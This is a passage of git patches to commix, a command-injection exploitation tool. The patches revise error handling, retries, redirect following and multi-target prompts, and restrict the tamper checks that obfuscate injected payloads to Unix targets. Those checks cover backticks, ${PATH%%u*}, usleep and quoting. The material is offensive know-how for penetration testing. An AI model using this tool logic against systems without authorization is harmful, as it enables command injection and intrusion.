a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 8c75fb6835..a8587fe9eb 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -19,6 +19,7 @@ import sys import glob import json +import time import socket import random import string @@ -63,17 +64,40 @@ def connection_exceptions(err_msg): if settings.TOTAL_OF_REQUESTS == 1 and settings.VERBOSITY_LEVEL < 2: print(settings.SINGLE_WHITESPACE) if "ssl" in str(error_msg): + settings.MAX_RETRIES = 1 error_msg = "can't establish SSL connection" - elif "infinite loop" in str(error_msg): - error_msg = "Infinite redirect loop detected." - error_msg += "Please check all provided parameters and/or provide missing ones." - elif "BadStatusLine" in str(error_msg): - error_msg = "connection dropped or unknown HTTP " - error_msg += "status code received." - elif "forcibly closed" in str(error_msg) or "Connection is already closed" in str(error_msg): - error_msg = "connection was forcibly closed by the target URL." + else: + if settings.TOTAL_OF_REQUESTS == 1: + if settings.VERBOSITY_LEVEL < 2 and "has closed the connection" in str(error_msg): + print(settings.SINGLE_WHITESPACE) + if "IncompleteRead" in str(error_msg): + warn_msg = "There was an incomplete read error while retrieving data " + warn_msg += "from the target URL " + else: + warn_msg = "The provided target URL seems not reachable. " + warn_msg += "In case that it is, please try to re-run using " + if not menu.options.random_agent: + warn_msg += "'--random-agent' switch and/or " + warn_msg += "'--proxy' option." + print(settings.print_warning_msg(warn_msg)) + elif "infinite loop" in str(error_msg): + error_msg = "Infinite redirect loop detected." + error_msg += "Please check all provided parameters and/or provide missing ones." + elif "BadStatusLine" in str(error_msg): + error_msg = "connection dropped or unknown HTTP " + error_msg += "status code received." + elif "forcibly closed" in str(error_msg) or "Connection is already closed" in str(error_msg): + error_msg = "connection was forcibly closed by the target URL." + if settings.MAX_RETRIES > 1: + info_msg = settings.APPLICATION.capitalize() + " is going to retry the request(s)." + print(settings.print_info_msg(info_msg)) error_msg = "Unable to connect to the target URL (Reason: " + error_msg.capitalize() + ")." + if settings.MULTI_TARGETS: + error_msg = error_msg + " Skipping to the next target." print(settings.print_critical_msg(error_msg)) + settings.TOTAL_OF_REQUESTS = settings.TOTAL_OF_REQUESTS + 1 + if settings.MAX_RETRIES > 1: + time.sleep(settings.DELAY_RETRY) if not settings.VALID_URL : if not settings.MULTI_TARGETS and settings.TOTAL_OF_REQUESTS == settings.MAX_RETRIES: raise SystemExit() diff --git a/src/core/main.py b/src/core/main.py index a4bcb1fd7d..83e3878f93 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -152,9 +152,8 @@ def examine_request(request, url): reason = str(err_msg) if settings.MULTI_TARGETS: if len(reason) != 0: - reason = " (Reason: " + reason + ")." - warn_msg = "Skipping URL '" + url + "'" + reason - print(settings.print_warning_msg(warn_msg)) + reason = reason + ". Skipping to the next target." + print(settings.print_critical_msg(reason)) if settings.EOF: print(settings.SINGLE_WHITESPACE) return False @@ -163,7 +162,8 @@ def examine_request(request, url): if settings.UNAUTHORIZED_ERROR in str(err_msg).lower(): pass else: - print(settings.print_critical_msg(err_msg)) + if len(err_msg) != 0: + print(settings.print_critical_msg(err_msg)) raise SystemExit() """ @@ -243,8 +243,6 @@ def url_response(url): tor.do_check() if settings.MULTI_TARGETS: settings.TOR_CHECK_AGAIN = False - info_msg = "Setting URL '" + url + "' for tests. " - print(settings.print_info_msg(info_msg)) # initiate total of requests settings.TOTAL_OF_REQUESTS = 0 request = init_request(url) @@ -826,28 +824,38 @@ def main(filename, url): [clean_bulkfile.append(x) for x in bulkfile if x not in clean_bulkfile] # Removing empty elements from list. clean_bulkfile = [x for x in clean_bulkfile if x] + url_num = 0 + print(settings.print_info_msg("Found a total of " + str(len(clean_bulkfile)) + " targets.")) for url in clean_bulkfile: - settings.INIT_TEST = True - if url == clean_bulkfile[-1]: - settings.EOF = True - # Reset the injection level - if menu.options.level > 3: - menu.options.level = 1 - init_injection(url) - try: - response, url = url_response(url) - if response != False: - filename = logs_filename_creation() - main(filename, url) - - except (_urllib.error.HTTPError, _urllib.error.URLError) as e: - if settings.VERBOSITY_LEVEL < 2: - print(settings.SINGLE_WHITESPACE) - err_msg = "Unable to connect to the target URL." - warn_msg = "Skipping URL '" + url + "' - " + err_msg - print(settings.print_warning_msg(warn_msg)) - if settings.EOF: - print(settings.SINGLE_WHITESPACE) + url_num += 1 + print(settings.print_question_msg("URL #" + str(url_num) + " - " + url) + "") + if not menu.options.batch: + question_msg = "Do you want to use URL #" + str(url_num) + " to perform tests? [Y/n] > " + message = _input(settings.print_question_msg(question_msg)) + else: + message = "" + if len(message) == 0: + message = "Y" + if message in settings.CHOICE_YES: + settings.INIT_TEST = True + if url == clean_bulkfile[-1]: + settings.EOF = True + # Reset the injection level + if menu.options.level > 3: + menu.options.level = 1 + init_injection(url) + try: + response, url = url_response(url) + if response != False: + filename = logs_filename_creation() + main(filename, url) + except: + pass + elif message in settings.CHOICE_NO: + pass + elif message in settings.CHOICE_QUIT: + raise SystemExit() + else: if os_checks_num == 0: diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index fdf5b69881..ad76b9aaeb 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -151,6 +151,8 @@ def https_open(self, req): if settings.VERBOSITY_LEVEL < 2: if (settings.INIT_TEST == True and not settings.UNAUTHORIZED) or \ (settings.INIT_TEST == True and settings.MULTI_TARGETS): + if settings.VALID_URL == False: + settings.VALID_URL = True print(settings.SINGLE_WHITESPACE) if not settings.CHECK_INTERNET: settings.INIT_TEST = False @@ -163,27 +165,10 @@ def https_open(self, req): if [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(err_msg)]: break - except (_urllib.error.URLError, _http_client.BadStatusLine, _http_client.IncompleteRead) as err_msg: - if settings.TOTAL_OF_REQUESTS == 1: - if settings.VERBOSITY_LEVEL < 2 and "has closed the connection" in str(err_msg): - print(settings.SINGLE_WHITESPACE) - - if "IncompleteRead" in str(err_msg): - warn_msg = "There was an incomplete read error while retrieving data " - warn_msg += "from the target URL " - else: - warn_msg = "The provided target URL seems not reachable. " - warn_msg += "In case that it is, please try to re-run using " - if not menu.options.random_agent: - warn_msg += "'--random-agent' switch and/or " - warn_msg += "'--proxy' option." - - print(settings.print_warning_msg(warn_msg)) - if settings.MAX_RETRIES > 1: - info_msg = settings.APPLICATION.capitalize() + " is going to retry the request(s)." - print(settings.print_info_msg(info_msg)) - settings.TOTAL_OF_REQUESTS = settings.TOTAL_OF_REQUESTS + 1 - time.sleep(3) + except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL) as err_msg: + pass + # settings.TOTAL_OF_REQUESTS = settings.TOTAL_OF_REQUESTS + 1 + # time.sleep(3) except ValueError as err: if settings.VERBOSITY_LEVEL < 2: @@ -242,10 +227,6 @@ def https_open(self, req): print(settings.print_critical_msg(err_msg + ").")) raise SystemExit() - # The handlers raise this exception when they run into a problem. - except Exception as err_msg: - checks.connection_exceptions(err_msg) - """ Check for added headers. """ diff --git a/src/core/requests/redirection.py b/src/core/requests/redirection.py index d3731af4d5..91f10fa2a4 100755 --- a/src/core/requests/redirection.py +++ b/src/core/requests/redirection.py @@ -164,8 +164,11 @@ def http_error_405(self, req, fp, code, msg, headers): else: return url - except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL, Exception) as err_msg: - checks.connection_exceptions(err_msg) + except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL) as err_msg: + if settings.VALID_URL: + checks.connection_exceptions(err_msg) + else: + pass except AttributeError: pass diff --git a/src/utils/crawler.py b/src/utils/crawler.py index b225a48fc2..decfb487a6 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -294,7 +294,7 @@ def crawler(url): if re.search(r"(.*?)\?(.+)", check_url): valid_url_found = True url_num += 1 - print(settings.print_info_msg("URL #" + str(url_num) + " - " + check_url) + "") + print(settings.print_question_msg("URL #" + str(url_num) + " - " + check_url) + "") if filename is not None: with open(filename, "a") as crawling_results: crawling_results.write(check_url + "\n") diff --git a/src/utils/settings.py b/src/utils/settings.py index 2ce9cf87d6..c3d8797bbe 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "35" +REVISION = "36" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -440,6 +440,9 @@ def sys_argv_errors(): # Seconds to delay the OS response. (Default 1) TIMESEC = 1 +# Seconds to delay between each HTTP retry. +DELAY_RETRY = 1 + #Level (Default: 1) DEFAULT_INJECTION_LEVEL = 1 COOKIE_INJECTION_LEVEL = 2 From ddfb5cd536943e7339bf469a45a55a8ae04544a4 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 19 Apr 2022 07:16:52 +0300 Subject: [PATCH 0113/1023] Minor improvement regarding redirect handler and multiple trivial fixes / updates --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 5 +- src/core/injections/controller/controller.py | 4 + src/core/main.py | 2 +- src/core/requests/headers.py | 32 ++-- src/core/requests/parameters.py | 3 +- src/core/requests/redirection.py | 147 +++++-------------- src/utils/logs.py | 1 + src/utils/settings.py | 5 +- 9 files changed, 70 insertions(+), 130 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 315075aa8d..65dcc59ab4 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.5 (TBA) +* Revised: Minor improvement regarding redirect handler. * Updated: Minor update regarding scanning multiple targets given in a textual file (i.e. via option `-m`). * Added: Support for heuristic detection regarding command injections. * Revised: Ιmprovement regarding `--level` option, which not only adds more injection points (i.e Cookies, HTTP headers) but also performs more tests for each injection point. diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index a8587fe9eb..f9086f627d 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -60,7 +60,10 @@ def connection_exceptions(err_msg): try: error_msg = str(err_msg.args[0]).split("] ")[1] except IndexError: - error_msg = str(err_msg.args[0]) + try: + error_msg = str(err_msg.args[0]) + except IndexError: + error_msg = str(err_msg) if settings.TOTAL_OF_REQUESTS == 1 and settings.VERBOSITY_LEVEL < 2: print(settings.SINGLE_WHITESPACE) if "ssl" in str(error_msg): diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 7ea6936d0f..a61f360f40 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -582,6 +582,7 @@ def cookie_injection(url, http_request_method, filename, timesec): for check_parameter in check_parameters: if check_parameter in "".join(settings.TEST_PARAMETER).split(","): menu.options.cookie = cookie_parameters[param_counter] + check_parameter = parameters.specify_cookie_parameter(menu.options.cookie) # Check for session file check_for_stored_sessions(url, http_request_method) injection_proccess(url, check_parameter, http_request_method, filename, timesec) @@ -629,6 +630,7 @@ def get_request(url, http_request_method, filename, timesec): for check_parameter in check_parameters: if check_parameter in "".join(settings.TEST_PARAMETER).split(","): url = found_url[url_counter] + check_parameter = parameters.vuln_GET_param(url) # Check for session file check_for_stored_sessions(url, http_request_method) injection_proccess(url, check_parameter, http_request_method, filename, timesec) @@ -688,6 +690,8 @@ def post_request(url, http_request_method, filename, timesec): for check_parameter in check_parameters: if check_parameter in "".join(settings.TEST_PARAMETER).split(","): menu.options.data = found_parameter[param_counter] + check_parameter = parameters.vuln_POST_param(menu.options.data, url) + # Check for session file check_for_stored_sessions(url, http_request_method) injection_proccess(url, check_parameter, http_request_method, filename, timesec) param_counter += 1 diff --git a/src/core/main.py b/src/core/main.py index 83e3878f93..aadf90c7ff 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -257,7 +257,7 @@ def url_response(url): response = examine_request(request, url) # Check for URL redirection if not menu.options.ignore_redirects: - url = redirection.do_check(url) + url = redirection.do_check(request, url) return response, url """ diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index ad76b9aaeb..c7814af513 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -65,7 +65,9 @@ def http_response(headers, code): if menu.options.traffic_file: logs.log_traffic("\n" + header) if menu.options.traffic_file: - logs.log_traffic("\n\n") + logs.log_traffic("\n\n") + if settings.VERBOSITY_LEVEL == 3: + print(settings.SINGLE_WHITESPACE) """ Print HTTP response headers / Body. @@ -91,7 +93,6 @@ def print_http_response(response_headers, code, page): Checking the HTTP Headers & HTTP/S Request. """ def check_http_traffic(request): - settings.TOTAL_OF_REQUESTS = settings.TOTAL_OF_REQUESTS + 1 # Delay in seconds between each HTTP request time.sleep(int(settings.DELAY)) if settings.SCHEME == 'https': @@ -114,8 +115,22 @@ def send(self, req): http_client.send(self, req) class connection_handler(_urllib.request.HTTPSHandler, _urllib.request.HTTPHandler, object): + """ + Print HTTP request headers. + """ + def print_http_response(self): + settings.TOTAL_OF_REQUESTS = settings.TOTAL_OF_REQUESTS + 1 + if settings.VERBOSITY_LEVEL >= 2 or menu.options.traffic_file: + if settings.VERBOSITY_LEVEL >= 2: + req_msg = "HTTP request [" + settings.print_request_num(settings.TOTAL_OF_REQUESTS) + "]:" + print(settings.print_request_msg(req_msg)) + if menu.options.traffic_file: + req_msg = "HTTP request [#" + str(settings.TOTAL_OF_REQUESTS) + "]:" + logs.log_traffic(req_msg) + def http_open(self, req): try: + self.print_http_response() self.do_open(connection, req) return super(connection_handler, self).http_open(req) except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL, Exception) as err_msg: @@ -123,6 +138,7 @@ def http_open(self, req): def https_open(self, req): try: + self.print_http_response() self.do_open(connection, req) return super(connection_handler, self).https_open(req) except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL, Exception) as err_msg: @@ -134,15 +150,7 @@ def https_open(self, req): _ = False unauthorized = False - while not _ and settings.TOTAL_OF_REQUESTS <= settings.MAX_RETRIES and unauthorized is False: - if settings.VERBOSITY_LEVEL >= 2 or menu.options.traffic_file: - if settings.VERBOSITY_LEVEL >= 2: - req_msg = "HTTP request [" + settings.print_request_num(settings.TOTAL_OF_REQUESTS) + "]:" - print(settings.print_request_msg(req_msg)) - if menu.options.traffic_file: - req_msg = "HTTP request [#" + str(settings.TOTAL_OF_REQUESTS) + "]:" - logs.log_traffic(req_msg) - + while not _ and settings.TOTAL_OF_REQUESTS <= settings.MAX_RETRIES and unauthorized is False: try: response = opener.open(request, timeout=settings.TIMEOUT) page = checks.page_encoding(response, action="encode") @@ -167,8 +175,6 @@ def https_open(self, req): except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL) as err_msg: pass - # settings.TOTAL_OF_REQUESTS = settings.TOTAL_OF_REQUESTS + 1 - # time.sleep(3) except ValueError as err: if settings.VERBOSITY_LEVEL < 2: diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 1543f15649..d031a0e1ba 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -134,7 +134,8 @@ def do_GET_check(url, http_request_method): all_params[param] = all_params[param] + settings.INJECT_TAG else: all_params[param] = all_params[param].replace(value, value + settings.INJECT_TAG) - all_params[param - 1] = all_params[param - 1].replace(value, "").replace(settings.INJECT_TAG, "") + # all_params[param - 1] = all_params[param - 1].replace(value, "").replace(settings.INJECT_TAG, "") + all_params[param - 1] = all_params[param - 1].replace(settings.INJECT_TAG, "") parameter = settings.PARAMETER_DELIMITER.join(all_params) # Reconstruct the URL url = url_part + "?" + parameter diff --git a/src/core/requests/redirection.py b/src/core/requests/redirection.py index 91f10fa2a4..5f6633f2e4 100755 --- a/src/core/requests/redirection.py +++ b/src/core/requests/redirection.py @@ -31,7 +31,7 @@ from src.thirdparty.colorama import Fore, Back, Style, init -def do_check(url): +def do_check(request, url): """ This functinality is based on Filippo's Valsorda script [1]. --- @@ -41,128 +41,49 @@ class Request(_urllib.request.Request): def get_method(self): return settings.HTTPMETHOD.HEAD - class RedirectHandler(_urllib.request.HTTPRedirectHandler): + class RedirectHandler(_urllib.request.HTTPRedirectHandler, object): """ Subclass the HTTPRedirectHandler to make it use our Request also on the redirected URL """ - def redirect_request(self, req, fp, code, msg, headers, redirected_url): + def redirect_request(self, request, fp, code, msg, headers, newurl): if code in (301, 302, 303, 307): - redirected_url = redirected_url.replace(' ', '%20') - newheaders = dict((k,v) for k,v in req.headers.items() if k.lower() not in ("content-length", "content-type")) - warn_msg = "Got a " + str(code) + " redirection (" + redirected_url + ")." - print(settings.print_warning_msg(warn_msg)) - return Request(redirected_url, - headers = newheaders, - # origin_req_host = req.get_origin_req_host(), - unverifiable = True - ) + settings.REDIRECT_CODE = code + return Request(newurl.replace(' ', '%20'), + data=request.data, + headers=request.headers + ) else: - err_msg = str(_urllib.error.HTTPError(req.get_full_url(), code, msg, headers, fp)).replace(": "," (") + err_msg = str(_urllib.error.HTTPError(request.get_full_url(), code, msg, headers, fp)).replace(": "," (") print(settings.print_critical_msg(err_msg + ").")) raise SystemExit() - - class HTTPMethodFallback(_urllib.request.BaseHandler): - """ - """ - def http_error_405(self, req, fp, code, msg, headers): - fp.read() - fp.close() - newheaders = dict((k,v) for k,v in req.headers.items() if k.lower() not in ("content-length", "content-type")) - return self.parent.open(_urllib.request.Request(req.get_full_url(), - headers = newheaders, - # origin_req_host = req.get_origin_req_host(), - unverifiable = True) - ) - - # Build our opener - opener = _urllib.request.OpenerDirector() - # Check if defined any Host HTTP header. - if menu.options.host and settings.HOST_INJECTION == False: - opener.addheaders.append(('Host', menu.options.host)) - # Check if defined any User-Agent HTTP header. - if menu.options.agent: - opener.addheaders.append(('User-Agent', menu.options.agent)) - # Check if defined any Referer HTTP header. - if menu.options.referer and settings.REFERER_INJECTION == False: - opener.addheaders.append(('Referer', menu.options.referer)) - # Check if defined any Cookie HTTP header. - if menu.options.cookie and settings.COOKIE_INJECTION == False: - opener.addheaders.append(('Cookie', menu.options.cookie)) - # Check if defined any HTTP Authentication credentials. - # HTTP Authentication: Basic / Digest Access Authentication. - if menu.options.auth_cred and menu.options.auth_type: - try: - settings.SUPPORTED_HTTP_AUTH_TYPES.index(menu.options.auth_type) - if menu.options.auth_type == "basic": - b64_string = encodebytes(menu.options.auth_cred.encode(settings.DEFAULT_CODEC)).decode().replace('\n', '') - opener.addheaders.append(("Authorization", "Basic " + b64_string + "")) - elif menu.options.auth_type == "digest": - try: - url = menu.options.url - try: - response = _urllib.request.urlopen(url, timeout=settings.TIMEOUT) - except _urllib.error.HTTPError as e: - try: - authline = e.headers.get('www-authenticate', '') - authobj = re.match('''(\w*)\s+realm=(.*),''',authline).groups() - realm = authobj[1].split(',')[0].replace("\"","") - user_pass_pair = menu.options.auth_cred.split(":") - username = user_pass_pair[0] - password = user_pass_pair[1] - authhandler = _urllib.request.HTTPDigestAuthHandler() - authhandler.add_password(realm, url, username, password) - opener = _urllib.request.build_opener(authhandler) - _urllib.request.install_opener(opener) - result = _urllib.request.urlopen(url, timeout=settings.TIMEOUT) - except AttributeError: - pass - except _urllib.error.HTTPError as e: - pass - except ValueError: - err_msg = "Unsupported / Invalid HTTP authentication type '" + menu.options.auth_type + "'." - err_msg += " Try basic or digest HTTP authentication type." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - else: - pass - - for handler in [_urllib.request.HTTPHandler, - HTTPMethodFallback, - RedirectHandler, - _urllib.request.HTTPErrorProcessor, - _urllib.request.HTTPSHandler]: - opener.add_handler(handler()) - + + opener = _urllib.request.build_opener(RedirectHandler()) try: - # Return a Request or None in response to a redirect. - response = opener.open(Request(url)) - if response == None: - return url + response = opener.open(request, timeout=settings.TIMEOUT) + if url == response.geturl(): + return response.geturl() else: - redirected_url = response.geturl() - if redirected_url != url: - while True: - if not menu.options.batch: - question_msg = "Do you want to follow the identified redirection? [Y/n] > " - redirection_option = _input(settings.print_question_msg(question_msg)) - else: - redirection_option = "" - if len(redirection_option) == 0 or redirection_option in settings.CHOICE_YES: - if menu.options.batch: - info_msg = "Following redirection to '" + redirected_url + "'. " - print(settings.print_info_msg(info_msg)) - return redirected_url - elif redirection_option in settings.CHOICE_NO: - return url - elif redirection_option in settings.CHOICE_QUIT: - raise SystemExit() - else: - err_msg = "'" + redirection_option + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - else: - return url + while True: + if not menu.options.batch: + question_msg = "Got a " + str(settings.REDIRECT_CODE) + " redirect to " + response.geturl() + "\n" + question_msg += "Do you want to follow the identified redirection? [Y/n] > " + redirection_option = _input(settings.print_question_msg(question_msg)) + else: + redirection_option = "" + if len(redirection_option) == 0 or redirection_option in settings.CHOICE_YES: + if menu.options.batch: + info_msg = "Following redirection to '" + response.geturl() + "'. " + print(settings.print_info_msg(info_msg)) + return checks.check_http_s(response.geturl()) + elif redirection_option in settings.CHOICE_NO: + return url + elif redirection_option in settings.CHOICE_QUIT: + raise SystemExit() + else: + err_msg = "'" + redirection_option + "' is not a valid answer." + print(settings.print_error_msg(err_msg)) + pass except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL) as err_msg: if settings.VALID_URL: diff --git a/src/utils/logs.py b/src/utils/logs.py index 0a3a7a88dd..7546eaa9cd 100755 --- a/src/utils/logs.py +++ b/src/utils/logs.py @@ -34,6 +34,7 @@ Create log files """ def create_log_file(url, output_dir): + if not output_dir.endswith("/"): output_dir = output_dir + "/" diff --git a/src/utils/settings.py b/src/utils/settings.py index c3d8797bbe..58d08b6d5f 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "36" +REVISION = "37" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -1089,4 +1089,7 @@ def sys_argv_errors(): CRAWLED_SKIPPED_URLS = 0 MULTI_TARGETS = False + +# Identified Redirect code +REDIRECT_CODE = "" # eof \ No newline at end of file From 22ab9bf2290f641407ffd4048e166748abe9b70f Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 20 Apr 2022 07:24:04 +0300 Subject: [PATCH 0114/1023] Fixes https://github.com/commixproject/commix/issues/760 (and multiple trivial fixes / updates) --- src/core/injections/controller/checks.py | 25 +++++++++---------- src/core/injections/controller/controller.py | 8 +++--- .../techniques/classic/cb_enumeration.py | 10 +++++--- .../techniques/classic/cb_handler.py | 10 +++++--- .../techniques/eval_based/eb_enumeration.py | 15 +++++++---- .../techniques/eval_based/eb_handler.py | 13 ++++++---- .../techniques/file_based/fb_enumeration.py | 14 +++++++---- .../techniques/file_based/fb_handler.py | 11 +++++--- src/core/main.py | 2 +- src/core/modules/shellshock/shellshock.py | 7 ++++-- src/utils/settings.py | 7 +++++- 11 files changed, 77 insertions(+), 45 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index f9086f627d..292dc91897 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -986,8 +986,8 @@ def list_tamper_scripts(): """ Tamper script checker """ -def tamper_scripts(): - if menu.options.tamper: +def tamper_scripts(stored_tamper_scripts): + if menu.options.tamper and stored_tamper_scripts is False: # Check the provided tamper script(s) available_scripts = [] provided_scripts = list(set(re.split(settings.PARAMETER_SPLITTING_REGEX, menu.options.tamper.lower()))) @@ -1001,7 +1001,6 @@ def tamper_scripts(): err_msg += "Use the '--list-tampers' option for listing available tamper scripts." print(settings.print_critical_msg(err_msg)) raise SystemExit() - info_msg = "Loading tamper script" + ('s', '')[len(provided_scripts) == 1] + ": " print(settings.print_info_msg(info_msg)) for script in provided_scripts: @@ -1117,7 +1116,7 @@ def whitespace_check(payload): """ def other_symbols(payload): # Check for (multiple) backticks (instead of "$()") for commands substitution on the generated payloads. - if payload.count("`") >= 2: + if payload.count("`") >= 2 and settings.TARGET_OS == "unix": if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",backticks" else: @@ -1135,7 +1134,7 @@ def other_symbols(payload): payload = caret.tamper(payload) # Check for dollar sign followed by an at-sign - if payload.count("$@") >= 10: + if payload.count("$@") >= 10 and settings.TARGET_OS == "unix": if not settings.TAMPER_SCRIPTS['dollaratsigns']: if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",dollaratsigns" @@ -1145,7 +1144,7 @@ def other_symbols(payload): payload = dollaratsigns.tamper(payload) # Check for uninitialized variable - if payload.count("${uv}") >= 2: + if payload.count("${uv}") >= 2 and settings.TARGET_OS == "unix": if not settings.TAMPER_SCRIPTS['uninitializedvariable']: if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",uninitializedvariable" @@ -1155,7 +1154,7 @@ def other_symbols(payload): payload = uninitializedvariable.tamper(payload) # Check for environment variable value variable - if payload.count("${PATH%%u*}") >= 2: + if payload.count("${PATH%%u*}") >= 2 and settings.TARGET_OS == "unix": if not settings.TAMPER_SCRIPTS['slash2env']: if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",slash2env" @@ -1169,7 +1168,7 @@ def other_symbols(payload): """ def check_backslashes(payload): # Check for single quotes - if payload.count("\\") >= 15: + if payload.count("\\") >= 15 and settings.TARGET_OS == "unix": if not settings.TAMPER_SCRIPTS['backslashes']: if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",backslashes" @@ -1183,7 +1182,7 @@ def check_backslashes(payload): """ def check_quotes(payload): # Check for double quotes around of the generated payloads. - if payload.endswith("\""): + if payload.endswith("\"") and settings.TARGET_OS == "unix": if not settings.TAMPER_SCRIPTS['nested']: if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",nested" @@ -1193,7 +1192,7 @@ def check_quotes(payload): payload = nested.tamper(payload) # Check for (multiple) added double-quotes between the characters of the generated payloads. - if payload.count("\"") >= 10: + if payload.count("\"") >= 10 and settings.TARGET_OS == "unix": if not settings.TAMPER_SCRIPTS['doublequotes']: if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",doublequotes" @@ -1203,7 +1202,7 @@ def check_quotes(payload): payload = doublequotes.tamper(payload) # Check for (multiple) added single-quotes between the characters of the generated payloads. - if payload.count("''") >= 10: + if payload.count("''") >= 10 and settings.TARGET_OS == "unix": if not settings.TAMPER_SCRIPTS['singlequotes']: if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",singlequotes" @@ -1216,7 +1215,7 @@ def check_quotes(payload): Recognise the payload. """ def recognise_payload(payload): - if "usleep" in payload: + if "usleep" in payload and settings.TARGET_OS == "unix": if not settings.TAMPER_SCRIPTS['sleep2usleep']: if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",sleep2usleep" @@ -1276,7 +1275,7 @@ def check_for_stored_tamper(payload): whitespace_check(decoded_payload) other_symbols(decoded_payload) check_quotes(decoded_payload) - tamper_scripts() + tamper_scripts(stored_tamper_scripts=True) """ Perform payload modification diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index a61f360f40..0d3d5ac7bf 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -314,9 +314,11 @@ def filebased_command_injection_technique(url, timesec, filename, http_request_m """ def injection_proccess(url, check_parameter, http_request_method, filename, timesec): inject_http_headers = False - if any(x in check_parameter.lower() for x in settings.HTTP_HEADERS) or \ - any(x in check_parameter.lower() for x in settings.CUSTOM_HEADER_NAME): - inject_http_headers = True + if (http_request_method == settings.HTTPMETHOD.GET and check_parameter.lower() not in url) or \ + (http_request_method == settings.HTTPMETHOD.POST and menu.options.data and check_parameter.lower() not in menu.options.data): + if any(x in check_parameter.lower() for x in settings.HTTP_HEADERS) or \ + any(x in check_parameter.lower() for x in settings.CUSTOM_HEADER_NAME): + inject_http_headers = True if menu.options.ignore_code: info_msg = "Ignoring '" + str(menu.options.ignore_code) + "' HTTP error code. " diff --git a/src/core/injections/results_based/techniques/classic/cb_enumeration.py b/src/core/injections/results_based/techniques/classic/cb_enumeration.py index 6f8e81fe99..462cb5f407 100755 --- a/src/core/injections/results_based/techniques/classic/cb_enumeration.py +++ b/src/core/injections/results_based/techniques/classic/cb_enumeration.py @@ -528,7 +528,6 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me Single os-shell execution """ def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - cmd = menu.options.os_cmd if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. @@ -544,12 +543,17 @@ def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_ shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if shell: if shell != "": - print("\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n") + if settings.VERBOSITY_LEVEL <= 1: + print(settings.SINGLE_WHITESPACE) + print(settings.command_execution_output(shell)) + print(settings.SINGLE_WHITESPACE) logs.print_logs_notification(filename, url) else: + if settings.VERBOSITY_LEVEL <= 1: + print(settings.SINGLE_WHITESPACE) err_msg = "The '" + cmd + "' command, does not return any output." print(settings.print_critical_msg(err_msg)) - raise SystemExit() + print(settings.SINGLE_WHITESPACE) """ Check the defined options diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py index cc3cb33ce6..09968cb28c 100755 --- 